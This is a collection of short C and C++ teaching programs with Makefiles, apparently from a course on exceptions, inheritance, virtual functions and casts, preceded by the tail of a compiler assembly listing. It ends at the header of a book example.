.uleb128 .LEHB3-.LFB5
.uleb128 .LEHE3-.LEHB3
.uleb128 0
.uleb128 0
.uleb128 .LEHB4-.LFB5
.uleb128 .LEHE4-.LEHB4
.uleb128 .L16-.LFB5
.uleb128 0
.uleb128 .LEHB5-.LFB5
.uleb128 .LEHE5-.LEHB5
.uleb128 0
.uleb128 0
.LLSDACSE5:
.byte 0x1
.byte 0
.align 4
.long DW.ref._ZTIi-.
.LLSDATT5:
.text
.size main, .-main
.hidden DW.ref._ZTIi
.weak DW.ref._ZTIi
.section .data.rel.local.DW.ref._ZTIi,"awG",@progbits,DW.ref._ZTIi,comdat
.align 8
.type DW.ref._ZTIi, @object
.size DW.ref._ZTIi, 8
DW.ref._ZTIi:
.quad _ZTIi
.hidden DW.ref.__gxx_personality_v0
.weak DW.ref.__gxx_personality_v0
.section .data.rel.local.DW.ref.__gxx_personality_v0,"awG",@progbits,DW.ref.__gxx_personality_v0,comdat
.align 8
.type DW.ref.__gxx_personality_v0, @object
.size DW.ref.__gxx_personality_v0, 8
DW.ref.__gxx_personality_v0:
.quad __gxx_personality_v0
.globl __gxx_personality_v0
.ident "GCC: (Debian 14.2.0-19) 14.2.0"
.section .note.GNU-stack,"",@progbits
04 (10-05-03)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
exeptions.cppC++ / 36 lines
#include <stdio.h>
unsigned int line_count_in_file(const char *file_name)
{
FILE *f = fopen(file_name, "r");
if (!f)
throw "cound't open the file";
int n = 0;
int c = 0;
while ((c = fgetc(f)) != EOF)
if (c == '\n')
n++;
fclose(f);
return n;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "No file name\n");
return 1;
}
try {
int res = line_count_in_file(argv[1]);
printf("The file %s contains %d lines\n",
argv[2], res);
}
catch (const char *exception) {
fprintf(stderr, "Exception (string): %s\n",
exception);
return 2;
}
return 0;
}
05 (10-05)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
dots.cppC++ / 27 lines
#include <stdio.h>
void f(int n, int d)
{
int *p = new int[n];
try {
if (d == 0)
throw 1;
}
catch (...) {
delete[] p;
throw;
}
delete[] p;
}
int main()
{
try {
f(5, 0);
}
catch (...) {
fprintf(stderr, "some exception\n");
return 1;
}
return 0;
}
06 (10-05)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
file_exception.cppC++ / 80 lines
#include <stdio.h>
#include <errno.h>
#include <string.h>
class FileException {
int err_code;
char *filename;
char *comment;
public:
FileException(const char *fn, const char *cmt);
FileException(const FileException& other);
~FileException();
const char *GetName() const { return filename; }
const char *GetComment() const { return comment; }
int GetErrno() const { return err_code; }
private:
static char *strdup(const char *str);
};
FileException::FileException(const char *fn, const char *cmt)
{
err_code = errno;
filename = strdup(fn);
comment = strdup(cmt);
}
FileException::FileException(const FileException& other)
{
err_code = other.err_code;
filename = strdup(other.filename);
comment = strdup(other.comment);
}
FileException::~FileException()
{
delete[] filename;
delete[] comment;
}
char *FileException::strdup(const char *str)
{
char *res = new char[strlen(str)+1];
strcpy(res, str);
return res;
}
unsigned int line_count_in_file(const char *file_name)
{
FILE *f = fopen(file_name, "r");
if (!f)
throw FileException(file_name, "cound't open the file");
int n = 0;
int c = 0;
while ((c = fgetc(f)) != EOF)
if (c == '\n')
n++;
fclose(f);
return n;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "No file name\n");
return 1;
}
try {
int res = line_count_in_file(argv[1]);
printf("The file %s contains %d lines\n",
argv[2], res);
}
catch (const FileException &ex) {
fprintf(stderr, "File exception: %s (%s): %s\n",
ex.GetName(), ex.GetComment(), strerror(ex.GetErrno()));
return 2;
}
return 0;
}
07 (10-05)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
autoclean.cppC++ / 39 lines
#include <stdio.h>
class A {
int *buf;
A(const A &); /* no copies */
void operator=(const A &);
public:
A() : buf(new int[100]) { printf(" A: buffer allocated\n"); }
~A() { delete[] buf; printf(" ~A: buffer freed\n"); }
};
void g(bool fail)
{
printf(" g: working\n");
if (fail)
throw "g failed";
}
void f(bool fail)
{
A a;
printf(" f: before g\n");
g(fail);
printf(" f: after g\n");
}
int main()
{
printf("g returns normally:\n");
f(false);
printf("g throws:\n");
try {
f(true);
}
catch (const char *s) {
printf(" main: caught \"%s\"\n", s);
}
return 0;
}
08 (10-05)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
types.cppC++ / 73 lines
#include <stdio.h>
struct A {
int code;
A(int c) : code(c) {}
};
void to_reference()
{
try {
throw A(42);
}
catch (A &ref) {
printf("A caught as A&: code %d\n", ref.code);
}
}
void to_const_reference()
{
try {
throw A(43);
}
catch (const A &ref) {
printf("A caught as const A&: code %d\n", ref.code);
}
}
void pointer_to_const()
{
char text[] = "from an array";
try {
throw text; /* type char* */
}
catch (const char *s) {
printf("char* caught as const char*: %s\n", s);
}
}
void literal()
{
try {
throw "a literal"; /* type const char* */
}
catch (char *s) { /* skipped: const can't be dropped */
printf("literal caught as char*: %s\n", s);
}
catch (const char *s) {
printf("literal caught as const char*: %s\n", s);
}
}
void integers()
{
try {
throw 'x'; /* type char */
}
catch (int n) { /* skipped: no char -> int */
printf("char caught as int: %d\n", n);
}
catch (char c) {
printf("char caught as char: %c\n", c);
}
}
int main()
{
to_reference();
to_const_reference();
pointer_to_const();
literal();
integers();
return 0;
}
01 (10-06)
MakefileMake / 9 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.c *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
student.cC / 70 lines
#include <stdio.h>
#include <string.h>
enum kind { k_person, k_student };
struct person {
enum kind kind; /* what the object really is */
char name[64];
char sex;
int year_of_birth;
};
struct student {
struct person base; /* the same first fields */
int code;
int year;
float average;
};
void init_person(struct person *p, enum kind kind, const char *name,
char sex, int year_of_birth)
{
p->kind = kind;
strcpy(p->name, name);
p->sex = sex;
p->year_of_birth = year_of_birth;
}
void print_person(const struct person *p)
{
printf("%s (%c), born %d\n", p->name, p->sex, p->year_of_birth);
}
void print_student(const struct student *s)
{
print_person(&s->base);
printf(" code %d, year %d, average %.2f\n",
s->code, s->year, s->average);
}
void print_any(const struct person *p)
{
if (p->kind == k_student)
print_student((const struct student *)p); /* cast down */
else
print_person(p);
}
int main(void)
{
struct person p1;
struct student s1;
struct person *all[2];
int i;
init_person(&p1, k_person, "Ivan Petrov", 'm', 1975);
init_person(&s1.base, k_student, "John Doe", 'm', 1989);
s1.code = 51311;
s1.year = 2;
s1.average = 4.75;
all[0] = &p1;
all[1] = (struct person *)&s1; /* cast up */
for (i = 0; i < 2; i++)
print_any(all[i]);
#ifdef BUG
print_student((const struct student *)&p1); /* not a student */
#endif
return 0;
}
02 (10-06)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
student.cppC++ / 39 lines
#include <stdio.h>
#include <string.h>
struct person {
char name[64];
char sex; // 'm' or 'f'
int year_of_birth;
};
struct student : person {
int code;
int year; // study year
float average;
};
void print_person(const person &p)
{
printf("%s, %d, %d\n", p.name, p.sex, p.year_of_birth);
}
int main()
{
student s1;
strcpy(s1.name, "John Doe");
s1.sex = 'm';
s1.year_of_birth = 1989;
s1.code = 51311;
s1.year = 2;
s1.average = 4.75;
person *p;
p = &s1;
person &ref1 = s1;
print_person(s1);
return 0;
}
03 (10-06)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic -DERRORS
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
chain.cppC++ / 56 lines
#include <stdio.h>
class A {
protected:
int prot;
public:
int pub;
A() : prot(0), pub(0) {}
void Print() const { printf(" prot = %d, pub = %d\n", prot, pub); }
};
/* public all the way: A <- B1 <- C1 */
class B1 : public A {
public:
void f() { prot = 1; pub = 1; } /* direct descendant: fine */
};
class C1 : public B1 {
public:
void g() { prot = 2; pub = 2; } /* far descendant: fine too */
};
/* private in the middle: A <- B2 <- C2 */
class B2 : private A {
public:
void f() { prot = 1; pub = 1; } /* direct descendant: fine */
void Show() const { Print(); } /* B2 decides what to expose */
};
class C2 : public B2 {
public:
#ifdef ERRORS
void g() { prot = 2; pub = 2; } /* line 33 */
void h() { ::A *p = this; (void)p; } /* line 34 */
#endif
};
int main()
{
C1 c1;
C2 c2;
printf("C1 (public chain):\n");
c1.f();
c1.g();
c1.Print(); /* A's method, from outside */
printf("C2 (private in the middle):\n");
c2.f(); /* B2's own public method */
c2.Show();
#ifdef ERRORS
c2.g();
c2.Print(); /* line 53 */
#endif
return 0;
}
04 (10-06)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic -DERRORS
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
child.cppC++ / 16 lines
class A {
public:
A(int p, int q) {}
};
class B : public A {
int i;
public:
B() : A(2, 3), i(4) {};
};
int main()
{
B b;
return 0;
}
05 (10-06)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic -DERRORS
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
graphics.cppC++ / 42 lines
#include <stdio.h>
class Pixel {
protected:
double x, y;
int color;
public:
Pixel(double ax, double ay, int acolor)
: x(ax), y(ay), color(acolor) {}
virtual ~Pixel() {}
virtual void Show() { printf("hide pixel\n"); }
virtual void Hide() { printf("show pixel\n"); }
void Move(double nx, double ny);
};
void Pixel::Move(double nx, double ny)
{
Hide();
printf("generic move\n");
x = nx;
y = ny;
Show();
}
class Circle : public Pixel {
double radius;
public:
Circle(double x, double y, double rad, int color)
: Pixel(x, y, color), radius(rad) {}
virtual ~Circle() {}
virtual void Show() { printf("hide circle\n"); }
virtual void Hide() { printf("show circle\n"); }
};
int main()
{
Pixel *p = new Circle(1, 2, 3, 4);
Pixel *q = new Pixel(5, 6, 7);
p->Move(1, 2);
q->Move(3, 4);
return 0;
}
06 (10-06)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic -DERRORS
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
graphics.cppC++ / 52 lines
#include <stdio.h>
class GraphObject {
protected:
double x, y;
int color;
public:
GraphObject(double ax, double ay, int acolor)
: x(ax), y(ay), color(acolor) {}
virtual ~GraphObject() {}
virtual void Show() = 0;
virtual void Hide() = 0;
void Move(double nx, double ny);
};
void GraphObject::Move(double nx, double ny)
{
Hide();
printf("move graph object\n");
x = nx;
y = ny;
Show();
}
class Pixel : public GraphObject {
public:
Pixel(double x, double y, int color)
: GraphObject(x, y, color) {}
virtual ~Pixel() {}
virtual void Show() { printf("hide pixel\n"); }
virtual void Hide() { printf("show pixel\n"); }
};
class Circle : public GraphObject {
double radius;
public:
Circle(double x, double y, double rad, int color)
: GraphObject(x, y, color), radius(rad) {}
virtual ~Circle() {}
virtual void Show() { printf("hide circle\n"); }
virtual void Hide() { printf("show circle\n"); }
};
int main()
{
GraphObject *p = new Circle(1, 2, 3, 4);
GraphObject *q = new Pixel(5, 6, 7);
p->Move(1, 2);
q->Move(3, 4);
return 0;
}
pure_virtual.cppC++ / 13 lines
class A {
virtual void f() = 0;
};
class B : public A {
virtual void f() {}
};
int main()
{
B b;
return 0;
}
07 (10-06)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
virtual.cppC++ / 33 lines
#include <stdio.h>
class Base {
public:
Base();
virtual ~Base();
virtual void Name() { printf("I am Base\n"); }
void Ask(const char *where); /* not virtual; calls Name() */
};
class Derived : public Base {
public:
Derived() { Ask("Derived::Derived"); }
virtual ~Derived() { Ask("Derived::~Derived"); }
virtual void Name() { printf("I am Derived\n"); }
};
void Base::Ask(const char *where)
{
void *vmtp = *(void **)this; /* the hidden field */
printf("%-18s vmtp = %p ", where, vmtp);
Name(); /* a virtual call */
}
Base::Base() { Ask("Base::Base"); }
Base::~Base() { Ask("Base::~Base"); }
int main()
{
Derived d;
d.Ask("main");
return 0;
}
08 (10-06)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
graphics.cppC++ / 101 lines
#include <stdio.h>
class GraphObject {
protected:
double x, y;
int color;
public:
GraphObject(double ax, double ay, int acolor)
: x(ax), y(ay), color(acolor) {}
virtual ~GraphObject() {}
virtual void Show() = 0;
virtual void Hide() = 0;
void Move(double nx, double ny);
};
void GraphObject::Move(double nx, double ny)
{
Hide();
printf("move graph object\n");
x = nx;
y = ny;
Show();
}
class Pixel : public GraphObject {
public:
Pixel(double x, double y, int color)
: GraphObject(x, y, color) {}
virtual ~Pixel() {}
virtual void Show() { printf("hide pixel\n"); }
virtual void Hide() { printf("show pixel\n"); }
};
class Circle : public GraphObject {
double radius;
public:
Circle(double x, double y, double rad, int color)
: GraphObject(x, y, color), radius(rad) {}
virtual ~Circle() {}
virtual void Show() { printf("hide circle\n"); }
virtual void Hide() { printf("show circle\n"); }
};
class PolygonalChain : public GraphObject {
struct Vertex {
double dx, dy;
Vertex *next;
};
Vertex *first;
public:
PolygonalChain(double x, double y, int color)
: GraphObject(x, y, color), first(0) {}
virtual ~PolygonalChain();
void AddVertex(double adx, double ady);
virtual void Show() { printf("hide polygonal chain\n"); }
virtual void Hide() { printf("show polygonal chain\n"); }
};
void PolygonalChain::AddVertex(double adx, double ady)
{
Vertex *tmp = new Vertex;
tmp->dx = adx;
tmp->dy = ady;
tmp->next = first;
first = tmp;
}
PolygonalChain::~PolygonalChain()
{
while (first) {
Vertex *tmp = first;
first = first->next;
delete tmp;
}
}
class Square : public PolygonalChain {
public:
Square(double x, double y, int color, double a)
: PolygonalChain(x, y, color)
{
AddVertex(0, 0);
AddVertex(0, a);
AddVertex(a, a);
AddVertex(a, 0);
AddVertex(0, 0);
}
};
int main()
{
GraphObject *p = new Circle(1, 2, 3, 4);
GraphObject *q = new Pixel(5, 6, 7);
GraphObject *s = new Square(5, 6, 7, 8);
p->Move(1, 2);
q->Move(3, 4);
s->Move(3, 4);
return 0;
}
09 (10-06)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
graphics.cppC++ / 106 lines
#include <stdio.h>
class GraphObject {
protected:
double x, y;
int color;
public:
GraphObject(double ax, double ay, int acolor)
: x(ax), y(ay), color(acolor) {}
virtual ~GraphObject() {}
virtual void Show() = 0;
virtual void Hide() = 0;
void Move(double nx, double ny);
};
void GraphObject::Move(double nx, double ny)
{
Hide();
printf("move graph object\n");
x = nx;
y = ny;
Show();
}
class Pixel : public GraphObject {
public:
Pixel(double x, double y, int color)
: GraphObject(x, y, color) {}
virtual ~Pixel() {}
virtual void Show() { printf("hide pixel\n"); }
virtual void Hide() { printf("show pixel\n"); }
};
class Circle : public GraphObject {
double radius;
public:
Circle(double x, double y, double rad, int color)
: GraphObject(x, y, color), radius(rad) {}
virtual ~Circle() {}
virtual void Show() { printf("hide circle\n"); }
virtual void Hide() { printf("show circle\n"); }
};
class PolygonalChain : public GraphObject {
struct Vertex {
double dx, dy;
Vertex *next;
};
Vertex *first;
public:
PolygonalChain(double x, double y, int color)
: GraphObject(x, y, color), first(0) {}
virtual ~PolygonalChain();
void AddVertex(double adx, double ady);
virtual void Show() { printf("hide polygonal chain\n"); }
virtual void Hide() { printf("show polygonal chain\n"); }
};
void PolygonalChain::AddVertex(double adx, double ady)
{
Vertex *tmp = new Vertex;
tmp->dx = adx;
tmp->dy = ady;
tmp->next = first;
first = tmp;
}
PolygonalChain::~PolygonalChain()
{
while (first) {
Vertex *tmp = first;
first = first->next;
delete tmp;
}
}
class Square : public PolygonalChain {
public:
Square(double x, double y, int color, double a)
: PolygonalChain(x, y, color)
{
AddVertex(0, 0);
AddVertex(0, a);
AddVertex(a, a);
AddVertex(a, 0);
AddVertex(0, 0);
}
};
int main()
{
GraphObject *p, *q;
p = new Square(27.3, 37.7, 0xff0000, 10.0);
q = new Pixel(1, 2, 0x00ff00);
p->Move(1, 2);
q->Move(3, 4);
delete p;
delete q;
return 0;
}
10 (10-06)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
graphics.cppC++ / 122 lines
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
enum { rand_limit = 10 };
class GraphObject {
protected:
double x, y;
int color;
public:
GraphObject(double ax, double ay, int acolor)
: x(ax), y(ay), color(acolor) {}
virtual ~GraphObject() {}
virtual void Show() = 0;
virtual void Hide() = 0;
void Move(double nx, double ny);
};
void GraphObject::Move(double nx, double ny)
{
Hide();
printf("move graph object\n");
x = nx;
y = ny;
Show();
}
class Pixel : public GraphObject {
public:
Pixel(double x, double y, int color)
: GraphObject(x, y, color) {}
virtual ~Pixel() {}
virtual void Show() { printf("hide pixel\n"); }
virtual void Hide() { printf("show pixel\n"); }
};
class Circle : public GraphObject {
double radius;
public:
Circle(double x, double y, double rad, int color)
: GraphObject(x, y, color), radius(rad) {}
virtual ~Circle() {}
virtual void Show() { printf("hide circle\n"); }
virtual void Hide() { printf("show circle\n"); }
};
class PolygonalChain : public GraphObject {
struct Vertex {
double dx, dy;
Vertex *next;
};
Vertex *first;
public:
PolygonalChain(double x, double y, int color)
: GraphObject(x, y, color), first(0) {}
virtual ~PolygonalChain();
void AddVertex(double adx, double ady);
virtual void Show() { printf("hide polygonal chain\n"); }
virtual void Hide() { printf("show polygonal chain\n"); }
};
void PolygonalChain::AddVertex(double adx, double ady)
{
Vertex *tmp = new Vertex;
tmp->dx = adx;
tmp->dy = ady;
tmp->next = first;
first = tmp;
}
PolygonalChain::~PolygonalChain()
{
while (first) {
Vertex *tmp = first;
first = first->next;
delete tmp;
}
}
class Square : public PolygonalChain {
public:
Square(double x, double y, int color, double a)
: PolygonalChain(x, y, color)
{
AddVertex(0, 0);
AddVertex(0, a);
AddVertex(a, a);
AddVertex(a, 0);
AddVertex(0, 0);
}
};
int random_number(int limit)
{
return 1.0 * limit * rand() / (RAND_MAX + 1.0);
}
int main()
{
int i;
srand(time(NULL));
int scene_length = 3 + random_number(rand_limit);
GraphObject **scene;
scene = new GraphObject*[scene_length];
scene[0] = new Pixel(1.25, 15.75, 0xff0000);
scene[1] = new Circle(20.9, 7.25, 0x005500, 3.5);
scene[2] = new Square(55.0, 30.5, 0x008080, 10.0);
for (i = 3; i < scene_length; i++)
scene[i] = new Circle(i, i, 0x0000ff, 1);
for (i = 0; i < scene_length; i++)
delete scene[i];
delete[] scene;
return 0;
}
11 (10-06)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
private_destructor.cppC++ / 12 lines
class A {
~A() {}
public:
void Disappear() { delete this; }
};
int main()
{
A *p = new A;
p->Disappear();
return 0;
}
12 (10-06)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
overloading.cppC++ / 17 lines
#include <stdio.h>
class A {
public:
void f(int a, int b) { printf("%d %d\n", a, b); }
};
class B : public A {
double f;
};
int main()
{
B b;
b.A::f(2, 3);
return 0;
}
overloading01.cppC++ / 19 lines
#include <stdio.h>
class A {
public:
void f(int a, int b) { printf("%d %d\n", a, b); }
};
class B : public A {
public:
double f(const char *str) { return 1.0; }
};
int main()
{
B b;
double t = b.f("hello there");
b.A::f(2, 3);
return 0;
}
13 (10-06)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
main.cppC++ / 26 lines
#include <stdio.h>
class A {
public:
virtual void f() { printf("first\n"); }
void g() { f(); }
void h() { A::f(); }
};
class B : public A {
public:
virtual void f() { printf("second\n"); }
};
int main()
{
B b;
b.g();
b.h();
b.f();
b.A::f();
A *pa = &b;
pa->f();
pa->A::f();
return 0;
}
14 (10-06)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
const_cast.cppC++ / 12 lines
int main()
{
int *p;
const int *q;
const char *s;
q = p;
// p = q;
p = const_cast<int*>(q);
// p = const_cast<int*>(s);
return 0;
}
dynamic_cast.cppC++ / 61 lines
#include <stdio.h>
#ifdef WITH_STD
#include <typeinfo>
#endif
class GraphObject {
public:
virtual ~GraphObject() {}
};
class Circle : public GraphObject {
int radius;
public:
Circle(int r) : radius(r) {}
void Grow() { radius *= 2; }
int Radius() const { return radius; }
};
class Square : public GraphObject {
};
#ifdef WITH_STD
/* the reference form: failure is an exception from the library */
void grow(GraphObject& obj)
{
try {
Circle& c = dynamic_cast<Circle&>(obj);
c.Grow();
printf("circle, radius %d\n", c.Radius());
}
catch (const std::bad_cast&) {
printf("not a circle\n");
}
}
#else
/* the book's advice: address, pointer form, check, dereference */
void grow(GraphObject& obj)
{
Circle *p = dynamic_cast<Circle*>(&obj);
if (!p) {
printf("not a circle\n");
return;
}
Circle& c = *p;
c.Grow();
printf("circle, radius %d\n", c.Radius());
}
#endif
int main()
{
Circle circle(5);
Square square;
grow(circle);
grow(square);
#ifdef UNCAUGHT
Circle& c = dynamic_cast<Circle&>(static_cast<GraphObject&>(square));
c.Grow();
#endif
return 0;
}
graphics.cppC++ / 125 lines
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
enum { rand_limit = 10 };
class GraphObject {
protected:
double x, y;
int color;
public:
GraphObject(double ax, double ay, int acolor)
: x(ax), y(ay), color(acolor) {}
virtual ~GraphObject() {}
virtual void Show() = 0;
virtual void Hide() = 0;
void Move(double nx, double ny);
};
void GraphObject::Move(double nx, double ny)
{
Hide();
printf("move graph object\n");
x = nx;
y = ny;
Show();
}
class Pixel : public GraphObject {
public:
Pixel(double x, double y, int color)
: GraphObject(x, y, color) {}
virtual ~Pixel() {}
virtual void Show() { printf("hide pixel\n"); }
virtual void Hide() { printf("show pixel\n"); }
};
class Circle : public GraphObject {
double radius;
public:
Circle(double x, double y, double rad, int color)
: GraphObject(x, y, color), radius(rad) {}
virtual ~Circle() {}
virtual void Show() { printf("hide circle\n"); }
virtual void Hide() { printf("show circle\n"); }
};
class PolygonalChain : public GraphObject {
struct Vertex {
double dx, dy;
Vertex *next;
};
Vertex *first;
public:
PolygonalChain(double x, double y, int color)
: GraphObject(x, y, color), first(0) {}
virtual ~PolygonalChain();
void AddVertex(double adx, double ady);
virtual void Show() { printf("hide polygonal chain\n"); }
virtual void Hide() { printf("show polygonal chain\n"); }
};
void PolygonalChain::AddVertex(double adx, double ady)
{
Vertex *tmp = new Vertex;
tmp->dx = adx;
tmp->dy = ady;
tmp->next = first;
first = tmp;
}
PolygonalChain::~PolygonalChain()
{
while (first) {
Vertex *tmp = first;
first = first->next;
delete tmp;
}
}
class Square : public PolygonalChain {
public:
Square(double x, double y, int color, double a)
: PolygonalChain(x, y, color)
{
AddVertex(0, 0);
AddVertex(0, a);
AddVertex(a, a);
AddVertex(a, 0);
AddVertex(0, 0);
}
};
int random_number(int limit)
{
return 1.0 * limit * rand() / (RAND_MAX + 1.0);
}
int main()
{
int i;
srand(time(NULL));
int scene_length = 3 + random_number(rand_limit);
GraphObject **scene;
scene = new GraphObject*[scene_length];
scene[0] = new Pixel(1.25, 15.75, 0xff0000);
scene[1] = new Circle(20.9, 7.25, 0x005500, 3.5);
scene[2] = new Square(55.0, 30.5, 0x008080, 10.0);
for (i = 3; i < scene_length; i++)
scene[i] = new Circle(i, i, 0x0000ff, 1);
// Square *sp = (Square*) scene[3];
Square *sp = static_cast<Square*>(scene[3]);
for (i = 0; i < scene_length; i++)
delete scene[i];
delete[] scene;
return 0;
}
graphics01.cppC++ / 53 lines
#include <stdio.h>
class GraphObject {
public:
virtual ~GraphObject() {}
virtual const char *Name() const { return "object"; }
};
class Pixel : public GraphObject {
public:
virtual const char *Name() const { return "pixel"; }
};
class Circle : public GraphObject {
int radius;
public:
Circle(int r) : radius(r) {}
virtual const char *Name() const { return "circle"; }
void SetRadius(int r) { radius = r; }
int Radius() const { return radius; }
};
class Square : public GraphObject {
int side;
public:
Square(int s) : side(s) {}
virtual const char *Name() const { return "square"; }
int Side() const { return side; }
};
class Unrelated {
};
int main()
{
GraphObject *p = new Square(7);
Circle *c = static_cast<Circle*>(p); /* it is a Square */
printf("%s, radius %d\n", c->Name(), c->Radius());
c->SetRadius(100);
printf("side is now %d\n", static_cast<Square*>(p)->Side());
printf("dynamic_cast: %p\n", (void*) dynamic_cast<Circle*>(p));
delete p;
#ifdef SMALLER
p = new Pixel;
c = static_cast<Circle*>(p); /* no radius there */
c->SetRadius(100);
delete p;
#endif
#ifdef ERRORS
Unrelated *u = static_cast<Unrelated*>(p);
#endif
return 0;
}
reinterpret_cast.cppC++ / 56 lines
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
/* 1. look at an object as plain bytes */
void show_bytes()
{
int n = 0x11223344;
const unsigned char *bytes = reinterpret_cast<const unsigned char*>(&n);
unsigned int i;
for (i = 0; i < sizeof(n); i++)
printf("%02x ", bytes[i]);
printf("\n");
}
/* 2. an address as a number */
void show_address()
{
int n;
unsigned long addr = reinterpret_cast<unsigned long>(&n);
printf("%lx, divisible by 4: %s\n", addr, addr % 4 == 0 ? "yes" : "no");
}
/* 3. a pointer to one structure as a pointer to another */
void bind_socket()
{
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
int fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_port = 0; /* any free port */
if (bind(fd, reinterpret_cast<struct sockaddr*>(&addr), len) == -1)
perror("bind");
getsockname(fd, reinterpret_cast<struct sockaddr*>(&addr), &len);
printf("bound to port %d\n", ntohs(addr.sin_port));
close(fd);
}
int main()
{
show_bytes();
show_address();
bind_socket();
#ifdef ERRORS
int n = 5;
const int *cp = &n;
unsigned char *a = static_cast<unsigned char*>(&n);
double d = reinterpret_cast<double>(n);
char *b = reinterpret_cast<char*>(cp);
#endif
return 0;
}
static_cast.cppC++ / 18 lines
class A { };
class B : public A { };
class C { };
int main()
{
A *ap;
B *bp;
// C *cp;
ap = bp;
// bp = ap;
bp = static_cast<B*>(ap);
// cp = static_cast<C*>(ap);
return 0;
}
15 (10-06)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
exceptions.cppC++ / 16 lines
#include <stdio.h>
class A { };
class B : public A { };
int main()
{
try {
// throw A();
throw B();
}
catch (const A& ex) {
printf("caught A childs\n");
}
return 0;
}
exceptions01.cppC++ / 28 lines
#include <stdio.h>
class Error {};
class UserError : public Error {};
class IncorrectInput : public UserError {};
class WrongFileName : public UserError {};
class IncorrectPassword : public UserError {};
class ExternalError : public Error {};
class Bug : public Error {};
int main()
{
try {
// throw IncorrectPassword();
// throw WrongFileName();
throw ExternalError();
}
catch (const IncorrectPassword& ex) {
printf("incorrect password\n");
}
catch (const UserError& ex) {
printf("user error\n");
}
catch (const Error& ex) {
printf("any error\n");
}
return 0;
}
pointer.cppC++ / 46 lines
#include <stdio.h>
class Error {
int code;
public:
Error(int c) : code(c) {}
~Error() { printf(" destructor of Error %d\n", code); }
int Code() const { return code; }
};
void throw_object() { throw Error(1); }
void throw_new() { throw new Error(2); }
void throw_local()
{
Error e(3);
throw &e; /* e dies during unwinding */
}
void attempt(void (*f)())
{
try {
f();
}
catch (const Error *ex) {
printf(" caught a pointer\n");
if (f == throw_new) {
printf(" code %d\n", ex->Code());
delete ex; /* nobody else will */
}
}
catch (const Error& ex) {
printf(" caught an object, code %d\n", ex.Code());
}
}
int main()
{
printf("throw Error(1):\n");
attempt(throw_object);
printf("throw new Error(2):\n");
attempt(throw_new);
printf("throw &e:\n");
attempt(throw_local);
return 0;
}
Book example: sparse_t.cpp
sparse_t.cppC++ / 311 lines
// The SparseArray template demo
// Copyright (c) Andrey Vikt. Stolyarov, 2010-2025
// This is just a sample program for a book devoted to C++, see
// http://www.stolyarov.info/books/cppintro for details.
// No rights restricted; do whatever you want with this code,
// if you really want to.
#include <stdio.h>
